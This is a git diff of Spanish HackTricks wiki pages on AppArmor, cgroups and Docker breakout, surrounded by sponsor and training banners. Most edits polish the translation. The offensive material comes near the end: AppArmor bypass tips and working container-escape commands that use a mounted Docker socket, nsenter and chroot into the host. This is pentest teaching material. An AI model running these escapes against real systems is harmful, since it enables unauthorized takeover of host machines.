Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
Accede hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Entrenamiento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Entrenamiento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# AppArmor
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**.
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
|
@ -30,7 +31,7 @@ Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
|||
|
||||
## Información Básica
|
||||
|
||||
AppArmor es una **mejora del kernel diseñada para restringir los recursos disponibles para los programas a través de perfiles por programa**, implementando efectivamente el Control de Acceso Obligatorio (MAC) al vincular atributos de control de acceso directamente a los programas en lugar de a los usuarios. Este sistema opera mediante **la carga de perfiles en el kernel**, generalmente durante el arranque, y estos perfiles dictan qué recursos puede acceder un programa, como conexiones de red, acceso a sockets en bruto y permisos de archivo.
|
||||
AppArmor es una **mejora del kernel diseñada para restringir los recursos disponibles para los programas a través de perfiles por programa**, implementando efectivamente el Control de Acceso Obligatorio (MAC) al vincular atributos de control de acceso directamente a los programas en lugar de a los usuarios. Este sistema opera **cargando perfiles en el kernel**, generalmente durante el arranque, y estos perfiles dictan qué recursos puede acceder un programa, como conexiones de red, acceso a sockets en bruto y permisos de archivo.
|
||||
|
||||
Existen dos modos operativos para los perfiles de AppArmor:
|
||||
|
||||
|
@ -42,7 +43,7 @@ Existen dos modos operativos para los perfiles de AppArmor:
|
|||
* **Módulo del Kernel**: Responsable de hacer cumplir las políticas.
|
||||
* **Políticas**: Especifican las reglas y restricciones para el comportamiento del programa y el acceso a recursos.
|
||||
* **Analizador**: Carga las políticas en el kernel para su cumplimiento o informe.
|
||||
* **Utilidades**: Estos son programas de modo de usuario que proporcionan una interfaz para interactuar y gestionar AppArmor.
|
||||
* **Utilidades**: Estos son programas en modo de usuario que proporcionan una interfaz para interactuar y gestionar AppArmor.
|
||||
|
||||
### Ruta de los perfiles
|
||||
|
||||
|
@ -75,11 +76,11 @@ aa-mergeprof #used to merge the policies
|
|||
* **Cx** (ejecutar bajo un perfil secundario, después de limpiar el entorno)
|
||||
* **Ux** (ejecutar sin restricciones, después de limpiar el entorno)
|
||||
* Se pueden definir **variables** en los perfiles y se pueden manipular desde fuera del perfil. Por ejemplo: @{PROC} y @{HOME} (agregar #include \<tunables/global> al archivo de perfil)
|
||||
* **Se admiten reglas de denegación para anular reglas de permiso**.
|
||||
* Se admiten **reglas de denegación para anular reglas de permiso**.
|
||||
|
||||
### aa-genprof
|
||||
|
||||
Para comenzar fácilmente a crear un perfil, apparmor puede ayudarte. Es posible hacer que **apparmor inspeccione las acciones realizadas por un binario y luego permitirte decidir qué acciones deseas permitir o denegar**.\
|
||||
Para comenzar a crear un perfil fácilmente, apparmor puede ayudarte. Es posible hacer que **apparmor inspeccione las acciones realizadas por un binario y luego permitirte decidir qué acciones deseas permitir o denegar**.\
|
||||
Simplemente necesitas ejecutar:
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
|
@ -122,7 +123,7 @@ sudo aa-easyprof /path/to/binary
|
|||
}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Ten en cuenta que de forma predeterminada, en un perfil creado no se permite nada, por lo que todo está denegado. Deberás agregar líneas como `/etc/passwd r,` para permitir la lectura del binario `/etc/passwd`, por ejemplo.
|
||||
Ten en cuenta que de forma predeterminada, en un perfil creado no se permite nada, por lo que todo está denegado. Necesitarás agregar líneas como `/etc/passwd r,` para permitir la lectura del binario `/etc/passwd`, por ejemplo.
|
||||
{% endhint %}
|
||||
|
||||
Luego puedes **aplicar** el nuevo perfil con
|
||||
|
@ -149,7 +150,7 @@ apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
|||
```
|
||||
## Registros
|
||||
|
||||
Ejemplo de registros **AUDIT** y **DENIED** del archivo _/var/log/audit/audit.log_ del ejecutable **`service_bin`**:
|
||||
Ejemplo de registros de **AUDIT** y **DENIED** del archivo _/var/log/audit/audit.log_ del ejecutable **`service_bin`**:
|
||||
```bash
|
||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||
|
@ -195,10 +196,10 @@ Por defecto, el perfil **Apparmor docker-default** se genera desde [https://gith
|
|||
**Resumen del perfil docker-default**:
|
||||
|
||||
- **Acceso** a toda la **red**
|
||||
- **No se define ninguna capacidad** (Sin embargo, algunas capacidades vendrán al incluir reglas base básicas, es decir, #include \<abstractions/base>)
|
||||
- **No se permite escribir** en ningún archivo de **/proc**
|
||||
- No se define ninguna **capacidad** (Sin embargo, algunas capacidades vendrán al incluir reglas base básicas, es decir, #include \<abstractions/base>)
|
||||
- **Escribir** en cualquier archivo **/proc** no está **permitido**
|
||||
- Otros **subdirectorios**/**archivos** de /**proc** y /**sys** tienen acceso **denegado** para leer/escribir/bloquear/enlazar/ejecutar
|
||||
- **No se permite montar**
|
||||
- **Montar** no está **permitido**
|
||||
- **Ptrace** solo se puede ejecutar en un proceso que esté confinado por el **mismo perfil de apparmor**
|
||||
|
||||
Una vez que **ejecutes un contenedor docker**, deberías ver la siguiente salida:
|
||||
|
@ -206,7 +207,7 @@ Una vez que **ejecutes un contenedor docker**, deberías ver la siguiente salida
|
|||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
```
|
||||
Ten en cuenta que **apparmor incluso bloqueará los privilegios de capacidades** concedidos al contenedor de forma predeterminada. Por ejemplo, será capaz de **bloquear el permiso de escritura dentro de /proc incluso si se concede la capacidad SYS\_ADMIN** porque por defecto el perfil apparmor de docker niega este acceso:
|
||||
Ten en cuenta que **apparmor incluso bloqueará los privilegios de capacidades** concedidos al contenedor de forma predeterminada. Por ejemplo, será capaz de **bloquear el permiso de escritura dentro de /proc incluso si se concede la capacidad SYS\_ADMIN** porque por defecto el perfil de apparmor de docker niega este acceso:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
|
@ -225,7 +226,7 @@ Ten en cuenta que puedes **añadir/eliminar** **capacidades** al contenedor de d
|
|||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` elimina todas las capacidades y solo otorga `SYS_PTRACE`
|
||||
|
||||
{% hint style="info" %}
|
||||
Normalmente, cuando **encuentras** que tienes una **capacidad privilegiada** disponible **dentro** de un **contenedor docker** **pero** alguna parte del **exploit no funciona**, esto se debe a que **AppArmor de docker lo está previniendo**.
|
||||
Normalmente, cuando **descubres** que tienes una **capacidad privilegiada** disponible **dentro** de un **contenedor docker** pero alguna parte del **exploit no funciona**, esto se debe a que **AppArmor de docker lo está previniendo**.
|
||||
{% endhint %}
|
||||
|
||||
### Ejemplo
|
||||
|
@ -240,7 +241,7 @@ Para activar el perfil, necesitamos hacer lo siguiente:
|
|||
```
|
||||
sudo apparmor_parser -r -W mydocker
|
||||
```
|
||||
Para listar los perfiles, podemos ejecutar el siguiente comando. El comando a continuación está listando mi nuevo perfil de AppArmor.
|
||||
Para listar los perfiles, podemos usar el siguiente comando. El comando a continuación está listando mi nuevo perfil de AppArmor.
|
||||
```
|
||||
$ sudo apparmor_status | grep mydocker
|
||||
mydocker
|
||||
|
@ -262,9 +263,9 @@ Entonces, puedes ejecutar la siguiente línea para **encontrar el perfil exacto
|
|||
```bash
|
||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
### Bypass de AppArmor en Docker
|
||||
### Bypass de AppArmor Docker2
|
||||
|
||||
**AppArmor se basa en rutas**, esto significa que incluso si está **protegiendo** archivos dentro de un directorio como **`/proc`**, si puedes **configurar cómo se ejecutará el contenedor**, podrías **montar** el directorio proc del host dentro de **`/host/proc`** y este **ya no estará protegido por AppArmor**.
|
||||
**AppArmor se basa en rutas**, esto significa que incluso si podría estar **protegiendo** archivos dentro de un directorio como **`/proc`**, si puedes **configurar cómo se ejecutará el contenedor**, podrías **montar** el directorio proc del host dentro de **`/host/proc`** y este **ya no estará protegido por AppArmor**.
|
||||
|
||||
### Bypass de Shebang de AppArmor
|
||||
|
||||
|
@ -282,24 +283,25 @@ chmod +x /tmp/test.pl
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda impulsado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares ladrones**.
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda impulsado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
Su objetivo principal es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# CGroups
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -42,20 +43,20 @@ $ cat /proc/self/cgroup
|
|||
El formato de salida es el siguiente:
|
||||
|
||||
* **Números 2-12**: cgroups v1, donde cada línea representa un cgroup diferente. Los controladores para estos se especifican junto al número.
|
||||
* **Número 1**: También cgroups v1, pero únicamente con propósitos de gestión (establecido por, por ejemplo, systemd), y carece de un controlador.
|
||||
* **Número 1**: También cgroups v1, pero únicamente con fines de gestión (establecido por, por ejemplo, systemd), y carece de un controlador.
|
||||
* **Número 0**: Representa cgroups v2. No se enumeran controladores, y esta línea es exclusiva en sistemas que solo ejecutan cgroups v2.
|
||||
* Los **nombres son jerárquicos**, se asemejan a rutas de archivos, indicando la estructura y relación entre diferentes cgroups.
|
||||
* Nombres como /user.slice o /system.slice especifican la categorización de cgroups, donde user.slice típicamente se utiliza para sesiones de inicio de sesión gestionadas por systemd y system.slice para servicios del sistema.
|
||||
* Los **nombres son jerárquicos**, se asemejan a rutas de archivos, lo que indica la estructura y relación entre diferentes cgroups.
|
||||
* Nombres como /user.slice o /system.slice especifican la categorización de cgroups, con user.slice típicamente para sesiones de inicio de sesión gestionadas por systemd y system.slice para servicios del sistema.
|
||||
|
||||
### Visualización de cgroups
|
||||
|
||||
El sistema de archivos se utiliza típicamente para acceder a **cgroups**, divergiendo de la interfaz de llamada al sistema Unix tradicionalmente utilizada para interacciones con el kernel. Para investigar la configuración de cgroups de una shell, se debe examinar el archivo **/proc/self/cgroup**, que revela el cgroup de la shell. Luego, al navegar hasta el directorio **/sys/fs/cgroup** (o **`/sys/fs/cgroup/unified`**) y localizar un directorio que comparta el nombre del cgroup, se pueden observar varios ajustes e información de uso de recursos pertinentes al cgroup.
|
||||
El sistema de archivos se utiliza típicamente para acceder a **cgroups**, divergiendo de la interfaz de llamada al sistema Unix utilizada tradicionalmente para interacciones con el kernel. Para investigar la configuración de cgroups de un shell, se debe examinar el archivo **/proc/self/cgroup**, que revela el cgroup del shell. Luego, al navegar hasta el directorio **/sys/fs/cgroup** (o **`/sys/fs/cgroup/unified`**) y localizar un directorio que comparta el nombre del cgroup, se pueden observar varios ajustes e información de uso de recursos pertinentes al cgroup.
|
||||
|
||||
![Sistema de archivos de Cgroup](<../../../.gitbook/assets/image (1128).png>)
|
||||
|
||||
Los archivos de interfaz clave para cgroups tienen como prefijo **cgroup**. El archivo **cgroup.procs**, que se puede ver con comandos estándar como cat, enumera los procesos dentro del cgroup. Otro archivo, **cgroup.threads**, incluye información de hilos.
|
||||
|
||||
![Cgroup Procs](<../../../.gitbook/assets/image (281).png>)
|
||||
![Procesos de Cgroup](<../../../.gitbook/assets/image (281).png>)
|
||||
|
||||
Los cgroups que gestionan shells típicamente abarcan dos controladores que regulan el uso de memoria y el recuento de procesos. Para interactuar con un controlador, se deben consultar los archivos que llevan el prefijo del controlador. Por ejemplo, **pids.current** se referiría para determinar el recuento de hilos en el cgroup.
|
||||
|
||||
|
@ -65,7 +66,7 @@ La indicación de **max** en un valor sugiere la ausencia de un límite específ
|
|||
|
||||
### Manipulación y Creación de cgroups
|
||||
|
||||
Los procesos se asignan a cgroups escribiendo su Identificador de Proceso (PID) en el archivo `cgroup.procs`. Esto requiere privilegios de root. Por ejemplo, para agregar un proceso:
|
||||
Los procesos se asignan a cgroups escribiendo su ID de proceso (PID) en el archivo `cgroup.procs`. Esto requiere privilegios de root. Por ejemplo, para agregar un proceso:
|
||||
```bash
|
||||
echo [pid] > cgroup.procs
|
||||
```
|
||||
|
@ -75,9 +76,9 @@ echo 3000 > pids.max
|
|||
```
|
||||
**Crear nuevos cgroups** implica crear un nuevo subdirectorio dentro de la jerarquía de cgroups, lo que hace que el kernel genere automáticamente los archivos de interfaz necesarios. Aunque los cgroups sin procesos activos pueden eliminarse con `rmdir`, ten en cuenta ciertas restricciones:
|
||||
|
||||
- **Los procesos solo pueden ubicarse en cgroups hoja** (es decir, los más anidados en una jerarquía).
|
||||
- **Un cgroup no puede poseer un controlador ausente en su padre**.
|
||||
- **Los controladores para cgroups hijos deben declararse explícitamente** en el archivo `cgroup.subtree_control`. Por ejemplo, para habilitar los controladores de CPU y PID en un cgroup hijo:
|
||||
* **Los procesos solo pueden ubicarse en cgroups hoja** (es decir, los más anidados en una jerarquía).
|
||||
* **Un cgroup no puede poseer un controlador ausente en su padre**.
|
||||
* **Los controladores para cgroups hijos deben declararse explícitamente** en el archivo `cgroup.subtree_control`. Por ejemplo, para habilitar los controladores de CPU y PID en un cgroup hijo:
|
||||
```bash
|
||||
echo "+cpu +pids" > cgroup.subtree_control
|
||||
```
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# Escalada de privilegios / Fuga de Docker
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) para construir y **automatizar flujos de trabajo** impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtén acceso hoy:
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
¡Accede hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
|
||||
|
||||
|
@ -28,18 +29,18 @@ Obtén acceso hoy:
|
|||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Esta herramienta es bastante **útil para enumerar el contenedor en el que te encuentras e intentar escapar automáticamente**
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): Herramienta útil para obtener los privilegios que tiene el contenedor con el fin de encontrar formas de escapar de él
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce): Herramienta para enumerar y escapar de contenedores
|
||||
* [**grype**](https://github.com/anchore/grype): Obtiene los CVEs contenidos en el software instalado en la imagen
|
||||
* [**grype**](https://github.com/anchore/grype): Obtiene los CVE contenidos en el software instalado en la imagen
|
||||
|
||||
## Escape del Socket de Docker Montado
|
||||
|
||||
Si de alguna manera descubres que el **socket de docker está montado** dentro del contenedor de Docker, podrás escapar de él.\
|
||||
Si de alguna manera descubres que el **socket de Docker está montado** dentro del contenedor de Docker, podrás escapar de él.\
|
||||
Esto suele ocurrir en contenedores de Docker que por alguna razón necesitan conectarse al daemon de Docker para realizar acciones.
|
||||
```bash
|
||||
#Search the socket
|
||||
find / -name docker.sock 2>/dev/null
|
||||
#It's usually in /run/docker.sock
|
||||
```
|
||||
En este caso, puedes usar comandos de docker regulares para comunicarte con el daemon de docker:
|
||||
En este caso, puedes usar comandos regulares de docker para comunicarte con el demonio de docker:
|
||||
```bash
|
||||
#List images to use one
|
||||
docker images
|
||||
|
@ -54,7 +55,7 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
{% hint style="info" %}
|
||||
En caso de que el **socket de docker esté en un lugar inesperado**, aún puedes comunicarte con él utilizando el comando **`docker`** con el parámetro **`-H unix:///ruta/al/docker.sock`**
|
||||
